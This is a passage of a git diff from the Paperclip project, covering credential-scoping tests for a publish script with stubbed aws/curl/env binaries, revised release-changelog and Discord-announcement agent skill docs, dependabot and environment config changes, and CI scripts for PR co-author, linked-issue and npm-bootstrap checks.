== "--profile" ]]; do + shift 2 +done +if [[ "$1" == "s3api" ]]; then + echo "None" + exit 0 +fi +if [[ "$1" == "s3" && "$2" == "sync" ]]; then + exit 0 +fi +echo "unexpected aws call: $*" >&2 +exit 1 +`, + ); + writeExecutable( + join(binDir, "curl"), + `#!/usr/bin/env bash +exit 0 +`, + ); + + const result = runPublish([siteDir, "--slug", "demo-page"], { + AWS_REGION: "us-east-1", + PATH: `${binDir}:${process.env.PATH}`, + AWS_ACCESS_KEY_ID: "AKIAAMBIENTIDENTITY", + AWS_SECRET_ACCESS_KEY: "ambient-secret", + AWS_SESSION_TOKEN: "ambient-session-token", + AWS_PROFILE: "ambient-profile", + PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID: "AKIAPAGEUPLOADER", + PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY: "page-secret", + }); + + assert.equal(result.status, 0); + + const seen = readFileSync(envDump, "utf8"); + assert.match(seen, /^AWS_ACCESS_KEY_ID=AKIAPAGEUPLOADER$/m); + assert.match(seen, /^AWS_SECRET_ACCESS_KEY=page-secret$/m); + assert.match(seen, /^AWS_SESSION_TOKEN=$/m); + assert.match(seen, /^AWS_PROFILE=$/m); +}); + +test("credential values never pass through an external env command's argv", () => { + const siteDir = createSite(); + const binDir = mkdtempSync(join(tmpdir(), "paperclip-page-bin-")); + tempDirs.add(binDir); + const envArgvDump = join(binDir, "env-argv.txt"); + + writeExecutable( + join(binDir, "aws"), + `#!/usr/bin/env bash +set -euo pipefail +while [[ "$1" == "--region" || "$1" == "--profile" ]]; do + shift 2 +done +if [[ "$1" == "s3api" ]]; then + echo "None" + exit 0 +fi +if [[ "$1" == "s3" && "$2" == "sync" ]]; then + exit 0 +fi +echo "unexpected aws call: $*" >&2 +exit 1 +`, + ); + writeExecutable( + join(binDir, "curl"), + `#!/usr/bin/env bash +exit 0 +`, + ); + // Shim env: record every argv it is invoked with, then behave normally. + // Credentials in that argv would be world-readable via /proc//cmdline. + writeExecutable( + join(binDir, "env"), + `#!/bin/bash +printf '%s\\n' "$@" >>"${envArgvDump}" +exec /usr/bin/env "$@" +`, + ); + + const result = runPublish([siteDir, "--slug", "demo-page"], { + AWS_REGION: "us-east-1", + PATH: `${binDir}:${process.env.PATH}`, + PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID: "AKIAPAGEUPLOADER", + PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY: "page-secret-argv-canary", + PAPERCLIP_PAGE_AWS_SESSION_TOKEN: "page-session-argv-canary", + }); + + assert.equal(result.status, 0); + + const argvSeen = existsSync(envArgvDump) ? readFileSync(envArgvDump, "utf8") : ""; + assert.doesNotMatch(argvSeen, /page-secret-argv-canary/); + assert.doesNotMatch(argvSeen, /page-session-argv-canary/); + assert.doesNotMatch(argvSeen, /AKIAPAGEUPLOADER/); +}); + +test("PAPERCLIP_PAGE_AWS_PROFILE strips ambient static credentials", () => { + const siteDir = createSite(); + const binDir = mkdtempSync(join(tmpdir(), "paperclip-page-bin-")); + tempDirs.add(binDir); + const envDump = join(binDir, "aws-env.txt"); + + writeExecutable( + join(binDir, "aws"), + `#!/usr/bin/env bash +set -euo pipefail +profile="" +while [[ "$1" == "--region" || "$1" == "--profile" ]]; do + if [[ "$1" == "--profile" ]]; then + profile="$2" + fi + shift 2 +done +{ + echo "PROFILE_ARG=$profile" + echo "AWS_ACCESS_KEY_ID=\${AWS_ACCESS_KEY_ID:-}" + echo "AWS_SECRET_ACCESS_KEY=\${AWS_SECRET_ACCESS_KEY:-}" + echo "AWS_SESSION_TOKEN=\${AWS_SESSION_TOKEN:-}" + echo "AWS_PROFILE=\${AWS_PROFILE:-}" +} >"${envDump}" +if [[ "$1" == "s3api" ]]; then + echo "None" + exit 0 +fi +if [[ "$1" == "s3" && "$2" == "sync" ]]; then + exit 0 +fi +echo "unexpected aws call: $*" >&2 +exit 1 +`, + ); + writeExecutable( + join(binDir, "curl"), + `#!/usr/bin/env bash +exit 0 +`, + ); + + const result = runPublish([siteDir, "--slug", "demo-page"], { + AWS_REGION: "us-east-1", + PATH: `${binDir}:${process.env.PATH}`, + AWS_ACCESS_KEY_ID: "AKIAAMBIENTIDENTITY", + AWS_SECRET_ACCESS_KEY: "ambient-secret", + AWS_SESSION_TOKEN: "ambient-session-token", + AWS_PROFILE: "ambient-profile", + PAPERCLIP_PAGE_AWS_PROFILE: "paperclip-page-uploader", + }); + + assert.equal(result.status, 0); + + const seen = readFileSync(envDump, "utf8"); + assert.match(seen, /^PROFILE_ARG=paperclip-page-uploader$/m); + assert.match(seen, /^AWS_ACCESS_KEY_ID=$/m); + assert.match(seen, /^AWS_SECRET_ACCESS_KEY=$/m); + assert.match(seen, /^AWS_SESSION_TOKEN=$/m); + assert.match(seen, /^AWS_PROFILE=$/m); +}); + test("live publish writes state before URL verification", () => { const siteDir = createSite(); const binDir = mkdtempSync(join(tmpdir(), "paperclip-page-bin-")); diff --git a/.agents/skills/release-changelog-discord-message/SKILL.md b/.agents/skills/release-changelog-discord-message/SKILL.md index 367ee8474d2..cd8cc50af3f 100644 --- a/.agents/skills/release-changelog-discord-message/SKILL.md +++ b/.agents/skills/release-changelog-discord-message/SKILL.md @@ -11,7 +11,11 @@ description: > Write the Discord release announcement for the **stable** Paperclip release. This is the companion to `.agents/skills/release-changelog/SKILL.md`. That skill -generates the file at `releases/vYYYY.MDD.P.md`. This skill turns that file into +writes the changelog — during the beta soak it lives at +`releases/beta/v{beta-version}.md` on the `release-notes/v{beta-version}` +branch, and after the stable ships a canonicalization PR renames it to +`releases/vYYYY.MDD.P.md` (see that skill's Channel Process section). This +skill turns that file into a single copy-pasteable Discord block, in dotta's voice, and posts it as the `discord_announcement` document on the release issue. @@ -27,8 +31,9 @@ current Paperclip work — not invented. ## When to use -- After `release-changelog` has produced `releases/vYYYY.MDD.P.md` on the - release worktree/PR. +- After `release-changelog` has produced the changelog (beta-keyed on the + `release-notes/v{beta-version}` branch during the soak, or the + canonicalized `releases/vYYYY.MDD.P.md` after the stable ships). - When the release issue (the one assigned by the release routine) asks for a Discord announcement, or has a `discord_announcement` document that needs to be refreshed for a new date/version. @@ -123,6 +128,12 @@ Notes on the template: - The opening and closing `:paperclip: :paperclip: :paperclip:` bookends are part of the brand — keep them. +- Name the install channels somewhere in the post: `npx paperclipai@latest` + for the stable, `@beta` / `@nightly` / `@canary` for earlier access, and + Docker `:latest` moving **only** on stable releases. +- The FULL RELEASE NOTES link points at `releases/v{VERSION}.md` on + `master` — that file exists only after the post-stable canonicalization + PR merges. Merge it before the announcement is posted. - Sections may be UPPERCASE or Title Case — dotta has used both. Pick a style and stay consistent within a single post. - Use `||@everyone||` (Discord spoiler-wrapped) at the very end so it pings @@ -152,6 +163,9 @@ Mimic this register; do not invent a "professional" tone. - **"WHATS NEXT" is forward-looking themes**, not a literal sprint list. 3–5 bullets is the right size. Pull these from active goals, in-flight projects, and recent issues the team is working on — do not invent themes. +- **Highlights follow the changelog skill's delta rule**: a feature the + previous announcement already introduced appears only for what changed + this release, and does not headline twice for follow-through work. - **"What's on my mind"** is dotta's personal/strategic thinking — docs gaps, philosophical positioning ("we're the human control plane for ai labor"), invitations ("if you've ever wanted to write about how you use Paperclip, @@ -163,7 +177,8 @@ Mimic this register; do not invent a "professional" tone. (follow the twitter, intros, beta sign-ups). No real ask → drop it. - **Community** is the same contributors list that's in the changelog file, fenced in a triple-backtick block, comma-separated `@username, @username`. - Exclude bots and Paperclip founders, same rules as the changelog skill. + Exclude bots and the specific folks on the changelog skill's canonical + exclusion list — same rules. - **The "In Summary" mission line** evolves slowly. Use the most recent variant unless dotta tells you otherwise. Recent variants: - "PAPERCLIP IS THE AI ORCHESTRATOR FOR HUMANS TO ACCOMPLISH 100x MORE WORK" @@ -174,15 +189,19 @@ Mimic this register; do not invent a "professional" tone. ## Workflow -1. Read the matching `releases/vYYYY.MDD.P.md` produced by `release-changelog`. - Use the version and contributor list from that file — never re-derive them. +1. Read the matching changelog produced by `release-changelog` — the + beta-keyed file during the soak, `releases/vYYYY.MDD.P.md` once + canonicalized. Use the version and contributor list from that file — + never re-derive them. 2. Resolve the parent `release` case with key `paperclip-release:vYYYY.MDD.P`. If it does not exist and Cases are enabled, create it using the schema in `.agents/skills/release-changelog/SKILL.md` before creating child cases. 3. Read the **release issue thread** (the one assigned to you that ran the release routine) — comments + linked issues + recent issues in the company - are the source for `WHATS NEXT` and `What's on my mind`. Pull real themes, - not invented ones. + are the source for `WHATS NEXT` and `What's on my mind`. Commits already + on `origin/master` **after** the beta source commit are prime "what's + next" material: they are literally the next release's content. Pull real + themes, not invented ones. 4. Re-read the three verbatim examples below — they're the canonical voice. 5. Draft the announcement using the template above. 6. PUT it as the `discord_announcement` document on the release issue (see @@ -444,7 +463,8 @@ https://github.com/paperclipai/paperclip/blob/master/releases/v2026.427.0.md Before handing off: 1. Version + date match the matching `releases/vYYYY.MDD.P.md` exactly. -2. Contributor list matches the changelog (same exclusions: bots, founders). +2. Contributor list matches the changelog (same exclusions: bots and the + changelog skill's canonical excluded-folks list). 3. Highlights are a subset of the changelog Highlights — same shipped features, not invented or pre-alpha work. 4. `WHATS NEXT` and `What's on my mind` are pulled from real recent issues / diff --git a/.agents/skills/release-changelog/SKILL.md b/.agents/skills/release-changelog/SKILL.md index 8bf662ed6b3..022df4ae5b8 100644 --- a/.agents/skills/release-changelog/SKILL.md +++ b/.agents/skills/release-changelog/SKILL.md @@ -32,14 +32,57 @@ Important rules: - do not derive versions from semver bump types - do not create canary changelog files +## Channel Process — Source Commit and File Location + +Stables promote a **soaked beta**, so the changelog describes the beta's +source commit, not the tip of `master`: + +- The release **source** is the commit the newest `beta/v` + tag points at (`{beta-src}` below). Resolve it with: + + ```bash + git fetch origin --tags + npm view paperclipai dist-tags # the beta dist-tag names the version + git rev-parse 'beta/v{beta-version}^{commit}' + ``` + +- Commits on `master` after `{beta-src}` ship in the **next** release. + Never include them; they are input for a "what's next" section, not the + changelog. +- During the soak, the file lives at `releases/beta/v{beta-version}.md` + on the branch `release-notes/v{beta-version}` (PR to `master`). The + release workflow pushes that branch with a generated skeleton when the + beta publishes; work on it and rewrite the skeleton in place. If the + branch does not exist (a beta cut before the automation), create it + from `origin/master` and seed the skeleton: + + ```bash + ./scripts/draft-stable-notes.sh {beta-version} + ``` + +- The PR must merge to `master` **before** the stable is dispatched: the + stable preflight reads the file from `master` and fails without it. +- Never create `releases/vYYYY.MDD.P.md` yourself on this path — after + the stable ships, the workflow opens a canonicalization PR that renames + the beta-keyed file to it. +- **Fix path exception** (patch releases from a `candidate/release-*` + branch): there the notes *do* go directly on the candidate branch as + `releases/vYYYY.MDD.P.md`, committed alongside the cherry-picked fixes. + ## Step 0 — Idempotency Check -Before generating anything, check whether the file already exists: +Before generating anything, check whether the changelog already exists: ```bash -ls releases/vYYYY.MDD.P.md 2>/dev/null +ls releases/beta/v{beta-version}.md 2>/dev/null # soak-window home +ls releases/vYYYY.MDD.P.md 2>/dev/null # canonicalized / fix path +git ls-remote origin 'refs/heads/release-notes/v{beta-version}' ``` +A `release-notes/v{beta-version}` branch holding only the generated +skeleton is the normal starting state, not a conflict — rewrite it in +place. + If it exists: 1. read it first @@ -49,13 +92,17 @@ If it exists: ## Step 1 — Determine the Stable Range -Find the last stable tag: +Find the last stable tag and the beta source commit: ```bash git tag --list 'v*' --sort=-version:refname | head -1 -git log v{last}..HEAD --oneline --no-merges +beta_src="$(git rev-parse 'beta/v{beta-version}^{commit}')" +git log v{last}..${beta_src} --oneline --no-merges ``` +The changelog range is always `v{last}..{beta-src}` — never `..HEAD` and +never `..origin/master`. + The stable version comes from one of: - an explicit maintainer request @@ -76,8 +123,8 @@ Collect release data from: Useful commands: ```bash -git log v{last}..HEAD --oneline --no-merges -git log v{last}..HEAD --format="%H %s" --no-merges +git log v{last}..{beta-src} --oneline --no-merges +git log v{last}..{beta-src} --format="%H %s" --no-merges ls .changeset/*.md | grep -v README.md gh pr list --state merged --search "merged:>={last-tag-date}" --json number,title,body,labels ``` @@ -94,10 +141,10 @@ Look for: Key commands: ```bash -git diff --name-only v{last}..HEAD -- packages/db/src/migrations/ -git diff v{last}..HEAD -- packages/db/src/schema/ -git diff v{last}..HEAD -- server/src/routes/ server/src/api/ -git log v{last}..HEAD --format="%s" | rg -n 'BREAKING CHANGE|BREAKING:|^[a-z]+!:' || true +git diff --name-only v{last}..{beta-src} -- packages/db/src/migrations/ +git diff v{last}..{beta-src} -- packages/db/src/schema/ +git diff v{last}..{beta-src} -- server/src/routes/ server/src/api/ +git log v{last}..{beta-src} --format="%s" | rg -n 'BREAKING CHANGE|BREAKING:|^[a-z]+!:' || true ``` If breaking changes are detected, flag them prominently — they must appear in the @@ -121,6 +168,19 @@ Guidelines: - write from the user perspective - keep highlights short and concrete - spell out upgrade actions for breaking changes +- **write at full stable depth from the first pass**: the beta-keyed + draft ships verbatim as the stable's notes, so the previous stable's + file is the density bar the moment the draft is first written — never + leave it at generated-skeleton density for the soak. The skeleton's + nested PR summaries are raw material to rewrite, not a format to keep. +- **describe deltas, not repeats**: read the previous stable's notes + (`releases/v.md`) before writing. When they already + introduced a feature, this release's entry covers only what changed — + a default flip, a hardening, a completion — phrased against the prior + release ("last release introduced X; this release makes it the + default"), never re-describing the feature as if it debuted. A theme + that headlined the previous release does not headline again for + follow-through work; demote it to Improvements. ### Inline PR and contributor attribution @@ -143,6 +203,14 @@ Rules: ## Step 5 — Write the File +The **file path** is the beta-keyed one from the Channel Process section +(`releases/beta/v{beta-version}.md`), but the **content** is titled with +the planned stable version. Resolve it with +`./scripts/release.sh stable --date {planned-promotion-date} --print-version` +(promotion is normally the beta publish date plus the 3-day soak). If the +promotion date slips, the version re-resolves at dispatch — the beta-keyed +filename makes that harmless; refresh the title when it happens. + The opening line of the changelog must be an H1 of the format `# Paperclip {version}` (no braces), e.g. `# Paperclip v2026.618.0`. Always include the `Paperclip ` prefix and the `v` on the version. @@ -177,14 +245,18 @@ The `Contributors` section should always be included. List every person who auth commits in the release range, @-mentioning them by their **GitHub username** (not their real name or email). To find GitHub usernames: -1. Extract usernames from merge commit messages: `git log v{last}..HEAD --oneline --merges` — the branch prefix (e.g. `from username/branch`) gives the GitHub username. +1. Extract usernames from merge commit messages: `git log v{last}..{beta-src} --oneline --merges` — the branch prefix (e.g. `from username/branch`) gives the GitHub username. 2. For noreply emails like `user@users.noreply.github.com`, the username is the part before `@`. 3. For contributors whose username is ambiguous, check `gh api users/{guess}` or the PR page. **Never expose contributor email addresses.** Use `@username` only. Exclude bot accounts (e.g. `lockfile-bot`, `dependabot`) from the list. -Exclude Paperclip founders from the list (e.g. `cryppadotta`, `forgottendev`, `devinfoley`, `sockmonster`, `scotttong`) +Exclude specific folks from the list — the Contributors section credits +community contributors only. The canonical exclusion list (keep it here; +the Discord skill defers to it): +`cryppadotta`, `forgottendev`, `devinfoley`, `sockmonster`, `scotttong`, +`nguyenm7`, `nickyleach`, `tonio-alucema` List contributors in alphabetical order by GitHub username (case-insensitive). diff --git a/.claude/launch.json b/.claude/launch.json new file mode 100644 index 00000000000..6258bdc8ccf --- /dev/null +++ b/.claude/launch.json @@ -0,0 +1,15 @@ +{ + "version": "0.0.1", + "configurations": [ + { + "name": "paperclip", + "runtimeExecutable": "/bin/sh", + "runtimeArgs": [ + "-c", + "TMPDIR=/tmp pnpm dev" + ], + "port": 3108, + "autoPort": true + } + ] +} diff --git a/.dockerignore b/.dockerignore index f06e4cca336..f4699e217a5 100644 --- a/.dockerignore +++ b/.dockerignore @@ -8,3 +8,5 @@ coverage data tmp *.log +packages/paperclip-runner/dist +packages/paperclip-runner/runner/target diff --git a/.env.example b/.env.example index e747df0914d..ddd69484baa 100644 --- a/.env.example +++ b/.env.example @@ -4,5 +4,11 @@ SERVE_UI=false BETTER_AUTH_SECRET=paperclip-dev-secret PAPERCLIP_TOOL_ACTION_SIGNING_SECRET=paperclip-dev-tool-action-signing-secret-change-me +# Process-wide protection for expensive full-tree workspace Git scans. +# PAPERCLIP_WORKSPACE_GIT_SCAN_CONCURRENCY=2 +# PAPERCLIP_WORKSPACE_GIT_SCAN_QUEUE_CAPACITY=32 +# PAPERCLIP_WORKSPACE_GIT_SCAN_TIMEOUT_MS=8000 +# PAPERCLIP_WORKSPACE_GIT_SCAN_CACHE_TTL_MS=10000 + # Discord webhook for daily merge digest (scripts/discord-daily-digest.sh) # DISCORD_WEBHOOK_URL=https://discord.com/api/webhooks/... diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md index 9f1c252b984..c7f9471c8e9 100644 --- a/.github/PULL_REQUEST_TEMPLATE.md +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -19,10 +19,11 @@ ## Linked Issues or Issue Description diff --git a/.github/dependabot.yml b/.github/dependabot.yml index ff0b351468a..41be9c9ee74 100644 --- a/.github/dependabot.yml +++ b/.github/dependabot.yml @@ -6,13 +6,25 @@ updates: interval: weekly day: monday time: "06:00" - open-pull-requests-limit: 10 + # Each dependency update gets its own pull request, including major + # version bumps. A grouped major PR cannot merge when one member has + # a blocked upgrade, so it hides the other ready majors. Separate PRs + # let each major land on its own. The limit holds the initial burst + # of pending majors plus the regular minor and patch updates. + open-pull-requests-limit: 20 labels: - "dependencies" + # Dependabot's npm parser reads only dependencies, devDependencies, and + # optionalDependencies — never peerDependencies. It cannot see the + # optional OpenTelemetry peer dependencies in server/package.json, so it + # never bumps their declared versions. ignore: - # Ignore major version bumps — review those manually - - dependency-name: "*" - update-types: ["version-update:semver-major"] + # @types/node describes the APIs available in the supported Node runtime. + # Runtime major upgrades are deliberate compatibility changes, so keep + # Dependabot on the current major until the runtime baseline moves too. + - dependency-name: "@types/node" + update-types: + - "version-update:semver-major" - package-ecosystem: github-actions directory: "/" diff --git a/.github/scripts/check-pr-coauthors.mjs b/.github/scripts/check-pr-coauthors.mjs new file mode 100644 index 00000000000..13239dd8e1d --- /dev/null +++ b/.github/scripts/check-pr-coauthors.mjs @@ -0,0 +1,135 @@ +#!/usr/bin/env node +/** + * check-pr-coauthors.mjs + * Surfaces the `Co-Authored-By` trailers a squash merge needs to keep + * contributors credited. + * Export: checkCoauthors(commits, prAuthor) → { passed, informational } + * + * This repository squash-merges, so every commit on a branch collapses into + * one commit authored by whoever presses the button. When a branch carries + * someone else's work — a rebase of a stale contributor PR, a port of an + * abandoned branch, a pairing session — their name survives only if the squash + * message carries a `Co-Authored-By` trailer for them. Nothing prompts for it, + * and the PR page keeps showing the original author either way, so the loss is + * invisible at exactly the moment it happens. + * + * Identity matching is a heuristic and is deliberately biased. A commit GitHub + * could not match to an account is credited unless its name or email resolves + * to the PR author, which will occasionally credit someone as a co-author of + * themselves — their git config carrying a real name where the comparison has + * only a login. That error costs a line a human drops while pasting. The + * opposite error costs a contributor their attribution silently, which is the + * failure this gate exists to prevent, so the bias runs towards over-crediting. + * + * Informational rather than a failure, on purpose. The squash message does not + * exist while the PR is open, so this cannot be verified here and cannot be + * fixed here either. Failing the PR would block work on something its author + * has no way to satisfy. What this can do is notice that the situation applies + * and hand over the exact lines to paste. + */ +import { fileURLToPath } from 'node:url'; + +/** + * Fetches every commit on a PR across GitHub pagination. + * + * Capped at the API's own ceiling: `/pulls/{n}/commits` returns at most 250 + * commits and silently stops. A branch that large is not the case this gate is + * about, and a partial list still surfaces the contributors it did see. + */ +export async function fetchAllPullRequestCommits(ghFetchFn, repo, prNumber, token) { + const commits = []; + + for (let page = 1; page <= 3; page += 1) { + const batch = await ghFetchFn( + `/repos/${repo}/pulls/${prNumber}/commits?per_page=100&page=${page}`, + token + ); + commits.push(...batch); + + if (batch.length < 100) break; + } + + return commits; +} + +/** GitHub's own no-reply address for a login, which is what trailers should use. */ +function noReplyEmail(login) { + return `${login}@users.noreply.github.com`; +} + +export function checkCoauthors(commits, prAuthor) { + const author = (prAuthor ?? '').toLowerCase(); + const contributors = new Map(); + // Emails already accounted for under a GitHub login. One person can appear + // both ways in the same branch — some commits matched to their account, some + // authored with an email GitHub does not know — and keying on login alone + // would then emit two trailers for them. + const seenEmails = new Set(); + + for (const entry of commits ?? []) { + const login = entry?.author?.login ?? null; + const gitName = entry?.commit?.author?.name ?? null; + const gitEmail = entry?.commit?.author?.email ?? null; + + // The PR author's own commits need no trailer — the squash is already + // theirs. Compared case-insensitively because GitHub logins are. + if (login && author && login.toLowerCase() === author) continue; + + // Bots author plenty of commits and crediting them is noise. + if (login && /\[bot\]$/.test(login)) continue; + if (!login && !gitName) continue; + + // A commit GitHub could not match to an account may still be the PR + // author's own — their git config carrying an email GitHub does not know. + // Without this they are listed as a co-author of themselves. + if (!login && author) { + const nameMatches = gitName && gitName.toLowerCase() === author; + const emailMatches = gitEmail && gitEmail.toLowerCase().startsWith(`${author}@`); + if (nameMatches || emailMatches) continue; + } + + // Prefer the GitHub identity, so the trailer links to a profile. Fall back + // to the raw git author for a commit GitHub could not match to an account. + const name = login ?? gitName; + const email = login ? noReplyEmail(login) : gitEmail; + if (!email) continue; + + // Keyed on identity, not on the rendered line. One person whose git config + // name changed across commits is still one person, and emitting them twice + // would put two trailers for the same contributor into the squash body. + const key = (login ?? gitEmail ?? name).toLowerCase(); + if (contributors.has(key)) continue; + const emailKey = (gitEmail ?? '').toLowerCase(); + if (emailKey && seenEmails.has(emailKey)) continue; + if (emailKey) seenEmails.add(emailKey); + + const displayName = gitName && login ? gitName : name; + contributors.set(key, { + trailer: `Co-Authored-By: ${displayName} <${email}>`, + name: displayName, + }); + } + + if (contributors.size === 0) return { passed: true, informational: [] }; + + const trailers = [...contributors.values()].map(c => c.trailer).sort(); + const names = [...new Set([...contributors.values()].map(c => c.name))].sort(); + const who = names.length === 1 ? names[0] : `${names.length} other contributors`; + + return { + passed: true, + informational: [ + `This branch carries commits by ${who}. Squash-merging drops that authorship unless ` + + 'the squash message carries their trailers, and nothing else will notice if it does not. ' + + 'Add to the squash body when merging:\n\n' + + trailers.map(line => ` ${line}`).join('\n'), + ], + }; +} + +if (process.argv[1] === fileURLToPath(import.meta.url)) { + const commits = JSON.parse(process.env.PR_COMMITS ?? '[]'); + const result = checkCoauthors(commits, process.env.PR_AUTHOR ?? ''); + console.log(JSON.stringify(result)); + process.exit(0); +} diff --git a/.github/scripts/check-pr-linked-issue.mjs b/.github/scripts/check-pr-linked-issue.mjs index 46f3a881e90..d1dd2bb59dd 100644 --- a/.github/scripts/check-pr-linked-issue.mjs +++ b/.github/scripts/check-pr-linked-issue.mjs @@ -47,34 +47,111 @@ const TEMPLATE_FIELDS = { ["Why this adapter is useful", "Why it's useful", 'Why useful', 'Use case'], ['How the agent is invoked', 'How it is invoked', "How it's invoked", 'Invocation'], ], + // Labels below match .github/ISSUE_TEMPLATE/enhancement.yml exactly. + enhancement: [ + ['What existing behavior does this improve?', 'What existing behavior does this improve'], + ['Subsystem affected'], + ['Current behavior'], + ['Proposed behavior'], + ['Reason and benefit'], + ['Breaking changes'], + ], + // Labels below match .github/ISSUE_TEMPLATE/docs_issue.yml exactly. The + // template has 4 distinct fields, so it meets the 3-field minimum. A + // "docs"-prefixed PR skips this check; this set helps a non-"docs"-prefixed + // PR that describes a documentation issue inline. + docs: [ + ['Issue type'], + ['Where is the issue?', 'Where is the issue'], + ["What's wrong?", "What's wrong"], + ['Suggested fix'], + ], }; function escapeRegExp(s) { return s.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); } -function countMatchedFields(body, fieldSet) { +// A generic "label line" is a markdown heading (`## Label`) or a bolded label on +// its own line (`**Label**`). The content scan stops at a label line, because +// that line starts a new field. +const LABEL_LINE = /^\s*(?:#{1,6}\s+\S|(?:\*\*|__)[^*_].*(?:\*\*|__)\s*[:?]?\s*$)/; + +// Build the regex that matches one field label on its own line. +function labelLinePattern(label) { + const esc = escapeRegExp(label); + // Accept markdown headings or bolded/plain labels on their own line. + // Examples: "## What happened?", "**Expected behavior**", "Problem:". + return new RegExp( + `^\\s*(?:#{1,6}\\s+|\\*\\*\\s*|__\\s*)?${esc}(?:\\s*[:?])?(?:\\s*\\*\\*|\\s*__)?\\s*$`, + 'i' + ); +} + +// Every known field label from every template, precompiled. The generic +// LABEL_LINE regex sees a heading or a bold label as a field boundary, but not a +// plain "Label:" line. A skeleton of stacked plain labels needs each label to +// act as a boundary. Without this list the scan reads the next label as +// content, so it counts an empty field as filled. +const KNOWN_LABEL_PATTERNS = Object.values(TEMPLATE_FIELDS) + .flat(2) + .map(labelLinePattern); + +// Return true if the line starts a new field. The line is a heading, a bold +// label, or a plain line that equals a known field label. +function isFieldBoundary(line) { + return LABEL_LINE.test(line) || KNOWN_LABEL_PATTERNS.some(p => p.test(line)); +} + +// Return true if the line holds real content, not a bare placeholder. The +// default template skeleton puts a lone "-" under each label, so a label with +// only "-", blank lines, or a "[...]" placeholder does not count as filled. +function lineHasContent(line) { + let text = line.trim(); + if (!text) return false; + // Drop a leading list marker ("- ", "* ", "1. ") before the check. + text = text.replace(/^[-*+]\s*/, '').replace(/^\d+[.)]\s*/, '').trim(); + if (!text) return false; + // Treat a whole-line bracket placeholder ("[describe here]") as empty. + if (/^\[.*\]$/.test(text)) return false; + return true; +} + +// Return true if a label variant appears on its own line AND at least one +// content line follows it before the next label line. +function isFieldFilled(lines, variants) { + const patterns = variants.map(labelLinePattern); + for (let i = 0; i < lines.length; i += 1) { + if (!patterns.some(p => p.test(lines[i]))) continue; + for (let j = i + 1; j < lines.length; j += 1) { + if (isFieldBoundary(lines[j])) break; // next field starts here + if (lineHasContent(lines[j])) return true; + } + } + return false; +} + +function countMatchedFields(lines, fieldSet) { let matched = 0; for (const variants of fieldSet) { - const hasMatch = variants.some(label => { - const esc = escapeRegExp(label); - // Accept markdown headings or bolded/plain labels on their own line. - // Examples: "## What happened?", "**Expected behavior**", "Problem:". - const pattern = new RegExp( - `^\\s*(?:#{1,6}\\s+|\\*\\*\\s*|__\\s*)?${esc}(?:\\s*[:?])?(?:\\s*\\*\\*|\\s*__)?\\s*$`, - 'im' - ); - return pattern.test(body); - }); - if (hasMatch) matched += 1; + if (isFieldFilled(lines, variants)) matched += 1; } return matched; } +// Remove HTML comments. The PR template puts its guidance and its example +// issue links ("Fixes: #123") inside comments, so the gate must not read them +// as author content. +function stripHtmlComments(body) { + return body.replace(//g, ''); +} + export function hasInlineIssueDescription(body) { if (!body || !body.trim()) return false; + // Strip the guidance comments, then scan the body line by line. + const lines = stripHtmlComments(body).split(/\r?\n/); for (const fieldSet of Object.values(TEMPLATE_FIELDS)) { - if (countMatchedFields(body, fieldSet) >= INLINE_DESCRIPTION_MIN_FIELDS) { + if (countMatchedFields(lines, fieldSet) >= INLINE_DESCRIPTION_MIN_FIELDS) { return true; } } @@ -98,7 +175,7 @@ export function checkLinkedIssue(body, prTitle = '') { return { passed: false, failures: ['PR body is empty — please fill out the PR template'] }; } - const linked = ISSUE_PATTERNS.some(p => p.test(body)); + const linked = ISSUE_PATTERNS.some(p => p.test(stripHtmlComments(body))); const inlined = hasInlineIssueDescription(body); const passed = linked || inlined; diff --git a/.github/scripts/check-pr-release-bootstrap.mjs b/.github/scripts/check-pr-release-bootstrap.mjs new file mode 100644 index 00000000000..215c3b3afe7 --- /dev/null +++ b/.github/scripts/check-pr-release-bootstrap.mjs @@ -0,0 +1,151 @@ +#!/usr/bin/env node +/** + * check-pr-release-bootstrap.mjs + * Detects release packages that this PR adds or newly release-enables whose + * names do not exist on npm yet, and emits an informational notice: the + * `policy` CI job will stay red until a maintainer bootstraps the name with + * `pnpm run release:bootstrap-package`. Contributors cannot fix that + * themselves, so the notice says so explicitly. + * + * Never fails (informational only) — outputs { passed: true, informational: string[] } + * + * Runs under pull_request_target from base-branch context: it only parses + * JSON and diff text fetched from the GitHub API and queries the npm registry + * with scope-validated names. It never executes PR code. + */ +import { fileURLToPath } from 'node:url'; +import { ghFetch } from './get-bot-token.mjs'; +import { resolveBaseRef } from './check-pr-dependencies.mjs'; + +const MANIFEST_PATH = 'scripts/release-package-manifest.json'; + +// Manifest content comes from the PR head (fork-controlled), so only names +// matching our scope are ever looked up on the registry. +const SCOPE_RE = /^@paperclipai\/[a-z0-9][a-z0-9._-]*$/; + +const MAX_REGISTRY_LOOKUPS = 5; + +function buildContentsPath(repo, filename, ref) { + return `/repos/${repo}/contents/${filename}?${new URLSearchParams({ ref }).toString()}`; +} + +async function fetchManifestEntries(fetchFromGitHub, token, repo, ref) { + try { + const res = await fetchFromGitHub(buildContentsPath(repo, MANIFEST_PATH, ref), token); + const parsed = JSON.parse(Buffer.from(res.content, 'base64').toString()); + return Array.isArray(parsed) ? parsed : []; + } catch { + return []; // manifest missing or unreadable on this ref + } +} + +export async function fetchRegistryPackageExists(packageName) { + const res = await fetch(`https://registry.npmjs.org/${encodeURIComponent(packageName)}`, { + method: 'HEAD', + }); + if (res.status === 404) return false; + if (res.ok) return true; + throw new Error(`npm registry returned ${res.status} for ${packageName}`); +} + +// Names this PR newly declares a workspace dependency on, per the diff of any +// changed package.json. If one of them is an unpublished manifest entry that +// is not publishFromCi:true, the release manifest validator rejects the PR. +export function addedWorkspaceDependencyNames(files) { + const names = new Set(); + for (const file of files) { + if (!file.filename.endsWith('package.json')) continue; + if (file.filename.includes('node_modules')) continue; + for (const line of (file.patch ?? '').split('\n')) { + if (!line.startsWith('+')) continue; + const match = line.match(/"(@paperclipai\/[a-z0-9][a-z0-9._-]*)"\s*:\s*"workspace:/); + if (match) names.add(match[1]); + } + } + return names; +} + +function buildNotice({ name, reason }) { + const bootstrap = + `a **maintainer** must run \`pnpm run release:bootstrap-package -- ${name} --publish\` ` + + 'and configure npm trusted publishing (see 